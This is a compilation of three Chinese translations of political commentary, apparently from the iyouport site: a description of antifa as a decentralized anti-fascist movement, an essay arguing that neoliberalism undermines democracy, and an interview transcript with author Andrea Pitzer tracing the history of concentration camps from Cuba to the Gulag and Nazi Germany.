特朗普和一些极右翼激进派声称，在席卷美国的抗议活动中，antifa 涉嫌密谋煽动暴力。 在即将出版的书《American Antifa: The Tactics, Culture, and Practice of Militant Antifascism》中，Stanislav Vysotsky 将 antifa 描述为一个高度分散的个人活动家的集合，他们大多使用非暴力的方法来实现目标。

他们的目标是抵制法西斯主义的蔓延。这可能不够确切，但一般来说，antifa 活动家认为法西斯主义以暴力的方式设定和执行人与人之间的生物和社会层面的不平等。

反对暴力至上

「图」

法西斯主义者不只是基于性别认同、种族和族裔、宗教和性取向，将特定类别的人视为低人一等；他们认为，必须使用暴力来压迫并最终消灭这些群体。此外，他们还使用暴力来抵制其意识形态上的敌人，即使这些敌人来自他们认为并不低劣的群体，如异性恋的白人男子。An anti-fascist protest in Berlin, 1928.

最初的反法西斯运动是在两次世界大战之间在欧洲和北美建立的，主要是由无政府主义者、共产主义者和社会主义者组织起来的，这三个群体经常成为法西斯暴力的目标。

美国现代的反法西斯运动，包括 **antifa**，是从反种族主义行动网络发展起来的，反法西斯行动网是20世纪80年代和90年代抵制新纳粹和三K党组织的种族主义光头党亚文化和公开示威的分散活动。

反法西斯主义者的反对并不只是他们不同意法西斯主义。他们对法西斯主义的认识更为根本。

个人和集体自卫

「图」

研究发现，相当一部分反法西斯运动参与者是妇女、有色人种、LGBTQ群体成员，或者具有法西斯分子试图控制或消除的任何特征的人群。The arts have long been a part of anti-fascist efforts, including by American singer-songwriter Woody Guthrie in the 1940s

因此，这些反法西斯主义者往往将法西斯主义视为对其个人生存和身心健康的威胁，以及对其社区和共同集会场所的暴力或破坏行为的威胁。他们认为他们的反对在很大程度上是个人和集体的自卫。

由于反对法西斯主义是一种观点而不是一个正式的组织，人们的行动千差万别。

非正式的或日常的反法西斯行动可以包括公开反对偏执、为法西斯骚扰的受害者出头、或在公共场所与法西斯分子对峙等等。一般来说，这些都是反法西斯参与者在正常生活中遇到法西斯主义者时发生的相对自发的行动。

而更正式的反法西斯行动可以包括大型的、资金充足的主流组织，如反诽谤联盟和南方贫困法律中心，他们监测法西斯主义的活动，并向公众提供有关其范围的信息。

地方行动

「图」

但 antifa 的标签最常被应用于由生活在同一社区的志同道合者组成的小规模团体，他们努力防止法西斯分子威胁他们的目标，并吸引新的追随者。

这些团体绝不是好战或暴力的。他们中的大多数人从事普遍被接受的政治活动形式。例如，反法西斯主义者往往努力找出法西斯团体和人员在某一地区的活动地点，然后与广大社区分享这一信息，让公众注意到这一活动。

反法西斯活动家还利用与法西斯分子有关的普遍社会耻辱感，找出参加法西斯主义活动或在网上发布法西斯信息的人。

文化是反法西斯工作的另一部分，包括艺术和音乐。反法西斯活动家通过制作印有包容性信息的T恤和贴纸，以及举办音乐会、电影放映、和艺术展，努力营造一种包容和平等的环境，这种环境并不直接攻击法西斯主义，只是为了反对法西斯主义而存在。Antifa members have taken part in the anti-racist marches that have emerged in cities nationwid

一些直接的对抗

「图」

也有更激进的反法西斯活动家，他们大多从事非军事活动，但有时愿意使用更多的对抗性策略。这些人更愿意进行反抗议运动（就是在法西斯主义者举行的聚会附近举行自己的抗议活动）、不排除使用武力，包括暴力冲突。

反法西斯主义努力的多样性和分散性意味着它几乎包括任何反对以暴力实施社会不平等的人，都可以参与该活动。各种各样的参与者和策略都属于广泛的制止法西斯主义努力的范畴。〇

What—or who—is antifa?

原文

什么是新自由主义？它如何威胁民主？ - iyouport

社会反抗和思考

新自由主义不仅仅是一套自由市场政策，它一直试图改变社会的权力平衡，以有利于老板。它对民主的攻击和对工会的破坏现在直接落入了极右翼的手中。

在讨论香港2019年的抗议活动时，对新自由主义的审视再一次进入了公共舆论，一定程度上包括中文舆论场。在这里回顾《新自由主义的香港向世界讲述了一个什么样的故事？》。但并非所有人都真的了解新自由主义，或者对其的全部理解仅限于其自身的宣传。

那么究竟什么是新自由主义？它都做了什么？对这些概念的理解将帮助中国的变革推动者设立更为恰当的战略。

本文来自 Aldo Madariaga 博士，他是智利圣地亚哥迭戈波塔莱斯大学政治学教授，也是社会冲突与凝聚力研究中心的副研究员。文章使用第一人称陈述。

📌 本文中提到的书籍您可以在这里下载（双语）：*https://www.patreon.com/posts/shi-yao-shi-xin-58773830*朝圣山学社的第一次会议， 1947 年，创始人弗里德里希·哈耶克 (Friedrich Hayek) 和路德维希·冯·米塞斯 (Ludwig von Mises) 在现场。

新自由主义已经伴随我们超过四分之三个世纪了。自20世纪40年代朝圣山学社 (Mont Pelerin Society)努力重塑老式自由主义以来，新自由主义采取了各种形式，无论是芝加哥学派和德国秩序自由主义、皮诺切特领导的1973年智利政变、撒切尔-里根革命、国际货币基金组织和世界银行驱动的结构调整，还是欧洲的第三条道路。

新自由主义的话题已经产生了一个名副其实的评论山寨产业，在过去的十年里，随着学者们试图使这个越来越有争议和滑稽的术语变得有意义，这个产业只会扩大。许多撰写新自由主义的人现在都在演奏他

们认为是新自由主义在世界舞台上的最后一曲华尔兹：在2008–9年金融危机带来的变革中，在保护主义的专制政府的崛起中，在COVID-19时代需要大规模的公共政策的解决方案中，许多人宣称，新自由主义确实已经走到了最后一步。

但事实真的如此吗？或者，新自由主义只是在以更激烈的形式蹒跚前行？

正如我在其他地方论述的那样，新自由主义并没有消亡，而是正在经历重要的转变，这使它对今天的民主特别危险。事实上，正是这种对民主的威胁才是理解新自由主义复原力的关键：它承受危机和竞争体系的能力并不是自由市场和经济竞争的持久吸引力的结果；相反，新自由主义是通过改变我们的民主机构和组织的基础而生存的。

这样一来，新自由主义就与同样蔑视民主的力量 —— 即 独裁者和技术官僚 —— 结盟了。新自由主义项目的这一核心内容为全球新一批激进的保守派领导人创造了条件。今天，新自由主义者和大资本之间正在形成一个联盟，并得到民族主义者、社会保守派和民粹主义者的支持。这个联盟正是很可能对民主政治构成的最大威胁之一。

新自由主义是一个政治项目

「图」

对许多人来说，新自由主义是一套经济理念，吹嘘市场作为个人之间的社会协调形式的优越性。以这种方式解读，人们认为新自由主义能够诱导、说服并最终战胜国家计划等竞争对手的思想。对于那些认同新自由主义这一定义的人来说，国家正在“卷土重来”的说法被认为是在证明钟摆正在向拒绝新自由主义的社会共识摆动。

因此，新自由主义通常被理解为将市场置于国家之上、个人置于社会之上的意识形态。但是，几十年来的研究已经证明了经济思想史学家和哲学家菲利普·米罗夫斯基 (Philip Mirowski)所说的新自由主义理论背后的“双重真相”：在提供选择自由和从压迫性国家法规中解放出来的同时，新自由主义者始终意识到需要一个强大的、往往是强制性的国家。

这意味着两件事。

首先，新自由主义者对市场本身、甚至对市场竞争，都不感兴趣，而是对通过市场可以实现的东西更感兴趣。尽管新自由主义者通常旨在

消除任何干预私营企业自由决定的国家干预，但是，他们并不反对所有形式的国家干预。当然，新自由主义者对那些向核心企业集团进行再分配的国家干预形式（通过慷慨的免税或在金融危机期间进行的大规模救助）的关注，要少于那种强制要求对工人阶级进行再分配的干预。同样，新自由主义者发誓要把市场和市场逻辑扩展到所有形式的社会和政治生活中，但如果这最终导致不公平竞争或彻底的垄断，他们就不那么担心了。

其次，人们现在都明白，新自由主义者需要强大的国家来强加并强制执行他们的自由市场，即使是采取直接压制的国家措施。

因此，新自由主义不仅仅是一套关于自由市场的想法，它是一个政治项目，不仅旨在减少国家的权力，而且更具体地说，破坏任何集体行为者 —— 无论是国家、工会、政党 —— 干预私营企业决策的努力。这个改变权力平衡的项目是其复原力的关键。

新自由主义和民主

「图」

为了理解新自由主义和民主之间的关系，我们需要看看新自由主义者对无财产的多数人的暴政以及他们的民主野心可能会如何影响经济自由的古老恐惧。詹姆斯·布坎南（James Buchanan）是新自由主义传统最令人尊敬的代表之一，他在其著名的合著书《赤字中的民主》中对此进行了巧妙的解释。

在这本书中，他的重点不是自由竞争、适当的市场运作，甚至不是对国家干预的批评；他关注的是“必须通过政治机构来执行经济政策”。海梅·古斯曼（Jaime Guzmán）是智利皮诺切特继承的政治和经济架构的幕后策划者，他运用这一逻辑，推断出政治机构的安排应该是：“如果对手执政，他们[将]被限制采取的行动与人们希望的行动之间没有太大区别”。正如朝圣山学社的前辈沃尔特·李普曼 (Walter Lippmann)所解释的那样，“问题的关键不在于多数人是否应该统治，而是什么样的多数人应该统治”。

新自由主义通过改变其支持者和反对者之间的权力平衡来限制民主政治，最终目的是限制政治和政策的可用空间。通过对拉丁美洲和东欧的新自由主义和民主的研究，我们可以发现三个具体的机制在起作用。

第一个机制是，通过将以前的国有资产私有化并允许在现在放松管制

的部门有新的商业机会来创造一个新的商业阶层。长期以来，人们认为解散社会国家的逻辑都是为了实现效率和增长的最大化。然而，在新自由主义蓬勃发展的国家，有针对性的私有化和放松管制主要是为了创造或赋予那些最有可能支持更广泛的新自由主义项目的企业。

在金融部门、有竞争力的出口公司和跨国公司中，情况尤其如此。在新自由主义的长期存在中拥有既得利益的企业，利用赋予它们的结构性优势来反击改革的尝试，从税收、产业政策、社会措施、到环境和劳工保护，不一而足。

其次，新自由主义通过阻止反新自由主义的政治力量获得立足点而得以生存。新自由主义对工会组织和集体谈判权的攻击是有据可查的。但我们的政治机构被设计成阻止任何确实的政治反对派的方式就不那么重要了。这包括增加行政部门的权力，以规避更具代表性的议会，将能够推翻多数决定的非选举产生的否决者制度化，以及更多。这些策略中最成功的是那些影响政治代表模式的策略，如选举工程和选区划分（Gerrymander）。

【注：杰利蝾螈（**Gerrymander**）是一个来自美国的政治术语，指以不公平的选区边界划分方法操纵选举，致使投票结果有利于某方。这个政治术语源自1812年美国麻萨诸塞州州长埃尔布里奇·杰利（Elbridge Thomas Gerry）将某一选区划分成不寻常的蝾螈（salamander）状，以让民主共和党得胜。】

智利的情况就是如此，1989年，智利的选举制度和地区规模（特定地区的当选代表人数）被设计为使右翼在议会中拥有二分之一的代表（高于其传统的三分之一）。正是这一举措使左翼在**20**年里都没有代表权，同时把更温和的左翼推向与中间派力量的长期联盟，淡化了他们原本的改革主义立场。再加上改变智利皮诺切特设计的机构的基本特征所需的超多数门槛，这些行动是在1990年代和2000年代连续四届中左翼政府期间阻止任何有意义改革的关键。

在其他情况下，限制代表权的努力包括彻底剥夺大片人口的权利。爱沙尼亚的情况就是如此，在那里，新自由主义与反对前苏联的民族主义独立运动的最激进表现找到了共同点。新自由主义者成功地利用了爱沙尼亚人民的恐惧，即 该国大量的俄罗斯人口（1989年约占40%）会阻止独立，使俄罗斯族人没有投票权。并且，他们在这样做的同时，还推动了在东欧实施的影响最深远的新自由主义项目之一。

结果是，那些受这些改革影响最大的群体要么没有投票权，要么是以民族主义而不是社会经济为由投票。最终，这阻碍了社会民主力量的

形成，这一力量至少能够缓和新自由主义的冲击，正如大多数其他东欧国家的情况那样。

最后，新自由主义者通过有时被称为“宪法化锁定”的方式使政策制定者与民众的要求隔绝，这意味着一个国家的经济政策的关键方面被置于民主讨论的范围之外，以免它们如布坎南和理查德·E·瓦格纳所言，“在民主政治的海洋中漂泊”。例如，独立的中央银行和财政政策规则，是使货币和财政政策远离民主讨论的关键工具。将通货膨胀作为主要的宏观经济目标，降低了中央银行利用货币政策来缓和经济危机的能力，并将就业考虑置于价格稳定考虑之上。相反，平衡预算程序等财政规则严重削弱了政府的整体支出能力。此外，为改变这些安排而设立的高宪法门槛，将民选政府的经济政策工具箱的关键方面锁定在他们无法触及的范围内。

用新葛兰西学派的术语来说就是，由于这些具体的经济和制度资源减少了政治和政策的可用空间，植根于特定商业部门的多党社会集团成功地捍卫了新自由主义项目。而这样做的直接后果是，我们的民主制度的代表性急剧下降。

新自由主义和民粹主义

「图」

考虑到新自由主义与基本民主制度的敌对关系，就不难理解新自由主义与当今激进的民粹主义右翼之间的选举亲和力了。与温迪·布朗的观点相反，激进的右翼并不是从新自由主义的“废墟”中出现的，而是从新自由主义的核心原则与民粹主义“混合”后的具体可能性中出现的。

这种混合体是如何出现的？在20世纪70年代至80年代，新自由主义的理想与独裁主义的学说相结合，创造了一些世界上有史以来最全面的改革—— 和独裁政权。后来，在20世纪90年代和21世纪，新自由主义者征服了技术官僚“第三条路”精英们的心，他们希望将市场纪律强加于不负责任的政府。同样在今天，新自由主义的核心原则也很容易与激进的民粹主义右翼形成联盟。

这些联盟不是基于对市场自由的共同利益，而是基于对民主政治的共同蔑视，以及认为需要进一步限制代议制民主机构（更不用说，对社会的个人化概念了）。因此，尽管有人声称民粹主义和新自由主义是对立的倾向，但民粹主义试图阻碍基本的民主自由和机构，实际上是加强了新自由主义的反民主项目。

几乎在所有地方，新自由主义都与加强行政权力和将民主权力下放给不负责任的官僚机构有关。通常，新自由主义者改变了选举制度和政治代表模式，以支持“经济自由”，这与今天激进的民粹主义右翼破坏民主的方式非常相似。

激进的民粹主义右翼确实接受了一种道德化和民族主义的世界观，这似乎与新自由主义的个人主义和对整个社会的难以置信的立场相抵触。每当新自由主义者呼吁获得广泛的社会支持时，通常都是以更自由的市场所带来的大规模个人消费的潜在好处的形式出现的。相比之下，民粹主义的动员则被认为是将一个日益冷漠和个人化的社会重新政治化。

然而，正如梅琳达·库珀 (Melinda Cooper)的研究表明，新自由主义和社会保守主义之间有着紧密的联系。正如温迪·布朗提醒我们的那样，哈耶克式的新自由主义旨在保护传统的等级制度，就像它保护经济自由一样。这些等级制度中最主要的是家庭价值观和传统的家庭劳动分工。这与民粹主义右翼围绕传统家庭形象的驱动力产生了强烈的共鸣。

如果我们把目光投向西欧和经合组织创始成员国之外，就会发现，新自由主义与激进右翼的另一个核心特征—— 排外主义—— 之间的联系并不新鲜。1990年代拉丁美洲和东欧的新自由主义兼民粹主义领导人中已经出现了民族沙文主义，典型的案例是秘鲁的阿尔贝托·藤森和波兰的莱赫·瓦文萨，以及爱沙尼亚。

在这些选举关系的背后，是一种个人化的社会概念，这种概念很容易让人对“人民”这个空洞的概念产生好感。在右翼民粹主义中，“人民”并不是社会的基本单位，也不是基于一套共同的纽带；它是通过个人对民粹主义领袖话语的内在认同来构建的。这就是为什么埃内斯托·拉克劳（Ernesto Laclau）将这种建构称为“空洞能指（empty signifier）”，可以用各种不具体的保守主义、独裁主义和排外主义的诉求来填充。哲学家狄奥多·阿多诺（Theodor Adorno）在观察1960年代德国新型激进右翼的崛起时，恰恰注意到他们的吸引力并不在于像民主或国家这样的理念，而是在于个人的专制人格特征和对权威和纪律的渴望。在这个意义上，虽然民粹主义的“社会再政治化”可能会导致愤怒的暴民，但是它并不会让位给业主阶层真正害怕的那种有组织的集体力量。

事实上，民粹主义者并没有赋予他们发誓要保护的工人权力，更没有减少整个商业阶层的权力，特别是金融业的权力。新自由主义者和民粹主义者之间的联盟似乎是为了从第三条道路的技术官僚精英手中夺

取对新自由主义项目的控制权：虽然第三条道路的技术官僚可能勉强承认新自由主义的过度行为，增加社会保护，并允许技术官僚机构承担更大的责任，但是，真正的新自由主义者明白，他们的项目建立在对代议制民主机构的持续限制之上。

新自由主义与激进的民粹主义右翼的联盟正在加速民主政治的衰落，激起人们对权威、秩序和社会保守主义的渴望，同时也释放了资本的无限制积累倾向。新自由主义和激进的民粹主义右翼能否设法形成一个稳定的混合体，将取决于结构和制度因素 —— 也就是说，取决于政治。只有当我们认识到具体的经济、政治和制度机制使新自由主义具有如此大的弹性，我们才能开始勾勒出一些关于如何在捍卫民主和平等的同时阻止其推进步伐的想法。〇

Neoliberalism Has Always Been a Threat to Democracy

原文

今天的集中营有很多名字，但它们依旧是集中营 - iyouport

社会反抗和思考维稳面面观

【2020年6月18日存档】这是一份音频访谈的笔录。真的非常建议您读完，因为它很重要

Children and workers are seen at a tent encampment built near the Tornillo Port of Entry on June 19, 2018, in Tornillo, Texas.JOE RAEDLE / GETTY IMAGES

> “集中营的使用改变了世界，但展望未来，使用集中营最可预见的结果是一个拥有更多集中营的世界。”

今天的人们使用了许多委婉语来描述这种设施：再教育营、拘留中心、劳动营、监狱营、国内无家可归者营地等等。但是，在第一次世界大战之前，所有这些东西都被简单地称为集中营，它们于1890年代在古巴开始，当时的目的是控制针对西班牙殖民者的本地起义。

然而从那时起，集中营就在全球范围内激增，并已成为试图控制大型人群的政府的首选工具。

在过去的100年中，整个种族都被围捕、未经审判就被监禁、并且被无限期羁押，慢慢饿死、或死于疾病和忽视，甚至在美国也是如此。

这些营地有什么共同点？是什么使它们与众不同？最重要的是，我们如何与之抗争？

这篇访谈是与 Andrea Pitzer 交流关于她的著作《漫漫长夜：全球集中营历史》。她追溯了集中营的演变，从古巴最早的化身到当今中国、缅甸和美国关塔那摩的现代形式。

您可以在这里下载这本书： https://t.me/iyouport/6875

以下是参与者 ——

- **Andrea Pitzer**，记者，《漫漫长夜：集中营的全球历史》的作者
- **Mihrigul Tursun**，中国维吾尔族集中营的幸存者
- 匿名人士，缅甸实兑IDP难民营的被关押者

—— 访谈笔录 ——

「图」

匿名人士：我们没有工作，也没有人权，我们不幸生活在这些难民营中。其他社区可以自由行走，而我们不能，我们不能做事，不能学习。

主持人：在罗兴亚人过去居住的郊区实兑，坐落着一个庞大的国内流离失所者营地 IDP Camps。2012年，缅甸军方开始对罗兴亚人的村庄进行恐怖统治，强奸并杀害他们。其余的罗兴亚人被集中在一起，被迫进入国内流离失所者营地。这位匿名人士是该营地的幸存者之一。

匿名人士：这种情况就像 …… 动物。我们活得就像动物。

主持人：他和他的所有家人都在这个营地里，等他们被释放时，他们的生活已经非常艰难。

匿名人士：我的生活被彻底毁了。我今年38岁。我有四个孩子。我担心孩子的未来生活。

主持人：他们不能离开。他们没有工作，也没有机会接受教育。武装警卫用步枪在边界巡逻。他们每个月收到一次口粮，这意味着他们经常饿。这种情况使营地居民疲惫不堪，即使他们能组织起来进行反击（也没有力气）。

匿名人士：我们如何获得人权和正义？

主持人：定量口粮、按种族隔离人群、武装警卫。如果这听起来很熟悉，那就是。它们正是我们所谓的集中营的标志。

Andrea Pitzer：集中营的构想首先不是针对战俘的，而是针对平民，被关押者并不是战斗人员。这是未经审判就大规模拘留平民的行为，通常是基于种族、族裔、宗教或政治背景，而不是他们所做的任何事。

主持人：集中营。这个词应该是二战和大屠杀的幽灵。实际上，仅使用这个概念就会让人产生强烈的情感反应。但是，并非所有集中营都像我们在大屠杀中所看到的那样。

Andrea Pitzer：每当我与人交谈这件事时，我总是喜欢预先说明，我们不是在谈论奥斯威辛集中营，我们不是在谈论死亡工厂，也许我们以后再谈。但是首先，你知道，这不是什么新发明。

主持人：事实上，认识集中营的迹象很重要，因为根据 **Andrea Pitzer** 的说法，全世界目前都充满了集中营。

Andrea Pitzer：在冷战时期，你真的可以看到，殖民地的集中营制度与共产主义的集中营制度共同分裂了整个世界。每个国家都在打造集中营。

主持人：每个国家都在打造集中营 —— 中国有关押维吾尔人和政治对手的集中营；美国有关押移民的集中营；还有朝鲜。您可能也会认为关塔那摩湾拘押中心是一个集中营。这就是我们今天所谈论的。我们到底是怎么走到这一步的？

- 《中国和美国，两个集中营》

Pitzer 写了一本有关该主题的书，名为 “漫漫长夜：全球集中营历史”。在本节目的第一部分中，我们将探讨集中营的兴起及其如何演变成了世界各地几乎是永久性的机构。

Andrea Pitzer：当我写第一本书时，那是写洛丽塔的 Vladimir Nabokov 的政治传记，他的兄弟死于德国集中营，第一次世界大战期间的集中营出现在他的作品中，还有苏联古拉格。这让我想到，集中营的概念什么时候进入世界的，如何被大众所默许？

主持人：因此，在深入探讨集中营的历史之前，让我们先谈谈它们的一些定义特征，或使它们与众不同的地方。因为在某些方面，集中营和现代监狱非常相似。

Andrea Pitzer：许多大型集中营系统发生的事情之一就是它们变成了自己的小世界。因此，实际上就像是单独监禁的监禁室，有时甚至大型集中营系统中也有监狱。

主持人：但是它们之间有很大的不同。正如我们所提到的，集中营针对的是种族群体。但是也……

Andrea Pitzer：一般而言，它与监狱的区别在于，在监狱中的人应该首先经过审判。他们应该有机会提出某种辩护。而集中营通常是围绕该过程的最终结果。有些时候会集中进行“审判”，例如，在肯尼亚的英国人，有时会在一个领域一次性判处300人，但这并不是真正的审判。

主持人：还有不可避免的死亡人数 —— 即使在集中营的最早期表现中，甚至在有计划地杀死被拘留者之前。

Andrea Pitzer：尽管他们没有使用子弹、绞刑，而疾病、营养不良以及人们所处的恶劣条件，这些困境足以杀死许多人。其中大多数是妇女和儿童。

主持人：Andrea Pitzer 所说的最后一点非常重要。政府不必主动杀人。仅仅在没有充足食物、水和卫生条件的情况下将人们围困在肮脏的地方，就足以导致大规模死亡。

在所有我们要考察的营地中，这种死亡是一个普遍因素。

我们将快速概述大多数人从未听说过的深刻历史，并继续下去。

因此，第一阶段是：实际上第一个集中营的创建。

历史上大概有数十个政府聚集种族群体并将其隔离的例子。例如美国原住民被隔离。但是，集中营一词的首个实际用法是古巴的西班牙人使用的。西班牙人称之为 *reconcentracion*。

Andrea Pitzer：因此，1890年代在古巴的集中营是一种持续了**30**或**40**年历史的压制反叛的方法。

主持人：古巴反叛者们想与西班牙殖民者作斗争。有一阵子他们赢了。他们会进攻西班牙军队。西班牙人一直无法隔离叛军，直到西班牙政府派出一个名叫 Valeriano Weyler 上尉的人到古巴。

Andrea Pitzer：Wyler 号称屠夫，他在整个古巴的大部分地区建立了这种机构（集中营）。这是一个非常刻意的举动。有趣的是，Wyler 甚至将自己与内战期间 Sherman 在美国南部所做的事进行了比较。这就是他用来为美国辩解的方式，是“我没有做与你所做的不同的事”。

主持人：那么 Wyler 到底做了什么？

Andrea Pitzer：他们没有抓住那些实际上在与他们作战的游击队，而是将所有平民围困起来，放到铁丝网下，然后剩下的每个人都可能被当成游击队扫射。这是隔离这些游击队并使他们远离资源的更有效方法。

那是从一开始。你知道，这是这项军事战略的一部分。这也是惩罚性的。这些人很难看到他们的家人和同胞被围困在这些营地中挨饿。

多数估计有约15万人被关押在里面，占该岛战当时人口的10%。因此，这是一个巨大的灾难。

主持人：但是集中营不是秘密发生的。许多在1890年代逃亡的古巴人来到美国，开始组织宣传运动。同时，国际记者前往古巴，发表了关于该营地情况的惊人报道。文章写道，这些饥饿的囚犯 “被困在笼子里”。死者的插图充斥着全球新闻。这在美国也产生了影响。

Andrea Pitzer：当时担任总统的 McKinley 在美西战争前很清楚地表达了他的观点。他说，除了旷野和坟墓之外，这不会带来任何和平。

主持人：最终，持续的叛乱和美国的介入导致了这些集中营的关闭。但是，随后发生了一些有趣的事 ……

Andrea Pitzer：我们确实与西班牙交战，很快就击败了他们，那是西班牙作为一个重要帝国灭亡的开端，而美国人继承了他们的许多殖民地财产。

然后我们决定不给予独立的是菲律宾。因此，美国人卷入了一场非常类似于西班牙在古巴发生的冲突的冲突。

尤其是，美国人并没有认为这些集中营是不好的、独立将是好事，而是，有一种真正的感觉，那就是白人这个词，负担就来自这里。有一种感觉，我们需要在世界范围内保持权力。这就是美国成为帝国并取代西班牙的时候。

我们知道，在 McKinley 谴责西班牙人后的几年内，⚠那个人建立了自己的集中营。据估计，这些营地开放仅几个月内就造成了超过**11000**人死亡。

主持人：是的，在大声谴责古巴的西班牙集中营之后，美国在菲律宾开设了自己的集中营。

⚠不久之后，世界其他地方也纷纷效仿了美国的榜样。这种营地呈现

爆炸式增长。

Andrea Pitzer：在第一个十年中，确实发生了很多事。在非洲南部，确实有四个主要殖民地。德国人在当时称为纳米比亚的西南非洲拥有一些地方，发生了针对赫雷罗人和纳马人的种族灭绝屠杀。在南部非洲的布尔战争中就有这种集中营，就如同古巴和菲律宾的集中营。

主持人：像原始的古巴集中营一样，它们的目的是遏制反殖民叛乱。因此酷刑、饥饿、疾病持续存在。

而且我们没有时间报道它们中发生的一切，但是有一段时间它们是如此致命，以至于影响了世界对集中营的看法。

Andrea Pitzer ：这些营地是如此残酷，如此致命，以至于这种想法变得令人厌恶，文明国家也在这样做。在一战之前，世界上几乎没有集中营。

主持人：第二阶段，集中营。第一次世界大战。突然，几乎所有参与战争的西方国家都开始使用我们现在称为拘留营的集中营。

Andrea Pitzer：因此英格兰和德国都开始围捕他们认为是间谍的人。过去几年中所做的事并不罕见。而且在大多数国家/地区，战时都有大量法律空间可以锁定可疑的间谍。

但有趣的是这个想法 —— ⚠我不仅会怀疑你所做的事，而且会仅仅因为你是英国人或德国人而怀疑你。

主持人：拘留营似乎听起来更好一些。但是，拘留营就是集中营。

Andrea Pitzer：在第一次世界大战期间，这种集中营病毒就传播到了六大洲。然后突然间人们对这种恶行熟视无睹。与诸如古巴集中营和菲律宾集中营那样的营地相比一战集中营里死亡的人并不多。因此这个想法就复苏了。

主持人：这些营地不是殖民地营地。他们没有那么苛刻。他们不是要粉碎人民，只是拘留他们。一战使集中营显得更加 “友善和宜人”。这对于接下来发生的事非常重要。

Andrea Pitzer：这种 “拘留” 的想法是，⚠ 如果你以某种方式给一些人看书，而又不击毙他们，那这种做法就会变得 “无害”，你知道，这确实扎根了。

因此，⚠ 危险在于，人们认为存在一种 “安全的方法”，特别是对于民主制而言，“只要我们不故意杀死平民，就可以仅凭个人身份将平民拘禁起来，而完全没有审判”。而且被认为可以 “公正、适当或安全” 地完成。

但是，我们一次又一次看到的是，一战中的东西为苏联古拉格和纳粹集中营等事物打开了大门。

主持人：但是拘留营如何导致类似古拉格和纳粹集中营这样的暴力？

Andrea Pitzer：不要忘了，当时英国是一个巨大的帝国。因此，当英国人决定这样做时，他们在全世界范围内都在这样做。

因此，突然之间，从世界上几乎没有任何一个集中营变成了大多数发达国家都有集中营 —— 这些国家采用某种系统进行登记、汇总，无限期地拘留大批的平民，这些被拘禁的人实际上并不被怀疑犯有任何特定罪行。

它在全球范围内对其进行了标准化。同样重要的是，还为此建立了官僚机构。

主持人：负责追踪和注册的官僚机构为纳粹欧洲的行为铺平了道路。这比真正的监禁还严重。因为即使您被送进一个可怕的监狱，您通常也不会死。这是暂时的。

Andrea Pitzer：人们说，哦，⚠如果我们正处于危机时刻，我们就被选为贱民。但是我们知道我们并不是真正的贱民。如果我们与政府合作，接受被拘禁，那么他们可能就会放我们一马。

一旦这场危机过去了，我认为这就是那些想知道为什么人们会自我屈服并前往纳粹德国集中营的答案之一。

重要的是要记住，在最初的几年中，这些营地根本不是死亡营地。大多数进去的人实际上后来都出来了。我认为在纳粹集中营的头五年里，这个数字都处于90％的高位。

主持人：在当时，⚠ 就算你移民到基本是世界上的任何地方，你都可能会被拘留。如此之多的人最终都进入了拘留营，甚至连托洛斯基（Leon Trotsky）也发现自己被关在加拿大。

Andrea Pitzer：他在纽约。我认为他在试图返回俄罗斯之前就已经是一名新闻工作者，因为革命是在没有他的情况下开始的，他想返回

并领导这场革命。

于是他上了船回到俄罗斯，然后被带走，在加拿大水域被带走，被带到加拿大拘留营。

他实际上是从当时的俄国临时政府首脑克伦斯基（Kerensky）那里获得干预的，最终才被释放。

在接下来的几个月中，他做的第一件事就是写了一本关于民主的重要小册子，关于他经历的可怕和荒谬。

这个小册子分发给了在红军一侧战斗的俄国内战前线的所有人。他是如此强烈地感触。

主持人：托洛茨基曾经被拘留在集中营里。我要重申的是，他接下来做的事的原因，当他终于回到俄罗斯帮助革命时。

Andrea Pitzer：⚠有趣的是，在那几个月内，他建议将人们放到那种集中营里，针对那些反对俄国革命的人们，他要把他们关在那些集中营中。

⚠ 他开始监禁自己的人民。因此，这在欧洲非殖民地环境中是一个新的时刻，在这里，各国不仅像第一次世界大战那样，将敌方和外国人束之高阁，他们甚至开始监禁自己本国的平民。

主持人：所以，再次有反对集中营被利用的人，转身就创建了自己的集中营系统。这真的让我惊讶。这驱使人们走向集中营思想的诱惑。

主持人：俄国古拉格人和纳粹集中营几乎同时发生。我认为这是第三阶段。古拉格花了一段时间成为一个具体的机构，而俄国一直都在做这件事。但是，即使在最早的几年里，革命的集中营也是极为残酷的。

Andrea Pitzer：然后人们开始挨饿致死，弱势群体正在被淘汰。在那之后大约三到四年，正确的是1929年、1930年，古拉格（gulag）成立了，将这些恶劣的做法传播到了更广的范围，更具有致命性。

主持人：在古拉格，就像纳粹集中营一样，人们的预期寿命直线下降，仅仅因配给不足而饿死。每个活着的人每天都要花费12到16个小时被迫劳动，在极低的温度下修建道路和基础设施。没有供暖系统。他们经常被殴打，有时被强奸。12个人或更多人睡一个房间，疾病肆虐。

被拘留者在古拉格的平均寿命只有2年。 2年。从1930年到1953年，有**150**万到**170**万人因拘留而死亡。

而且，这就是对待异议人士的极其暴力的方式。整个系统建立在偏执狂之上。这实际上是集中营的标志。

Andrea Pitzer：曾是秘密警察局头目的人，三年后，也可能会在集中营中死亡。我认为这对于那些营地来说很重要，因为这绝不仅仅是某个人的愿景。它自成为一个系统，几乎是一个永存的系统。它可以吞噬任何东西。这是最危险的事之一。

主持人：然后就是第二次世界大战。德国集中营的兴起。这些是如今人们听到这个词时所想到的集中营。

一段时间以来，纳粹集中营和古拉格集中营（同时开放）是世界上已知的最致命的监狱系统。仅纳粹集中营就有1100万人死亡。其中至少有600万是犹太人。

但是从一开始，尽管希特勒实行了反犹主义，但纳粹集中营并不是针对犹太人的。最初，它们很像古拉格制度：当希特勒上台时，这些集中营被用来控制反对派。

他们所针对的第一批人是国会大厦里反对他们的人，属于极左党派的人；然后他们就将集中营用于任何反对他们的人。

- 《柏林墙倒了吗？（1）：五味杂陈的卡巴莱》
- 《柏林墙倒了吗？（2）：条顿式媚俗和莱比锡翻页》
- 《柏林墙倒了吗？（3）：”我第一次感到害怕”》
- 《柏林墙倒了吗？（4）：种族的神秘性》

主持人：这与大多数极权政府以及他们使用营地的方式是一致的：一开始是为了控制异议人士。但是最终，目标人群不断增长。

Andrea Pitzer：他们在30年代中期将集中营用于关押流浪街头无家可归的人。他们将服刑后的罪犯也扔在那里，因此他们因拥有如此多的政治犯而受到很多批评。

他们只是把一群罪犯扔进去，以稀释政治犯的比例。甚至把同性恋也扔了进去。

主持人：他们还针对罗姆人或辛提人、共产党人、耶和华见证人、酗酒者和吸毒者、残疾人、自闭症患者 …… 任何不符合纳粹党雅利安

理想的人都被关进了集中营。但是，纳粹对犹太人的计划是不同的。

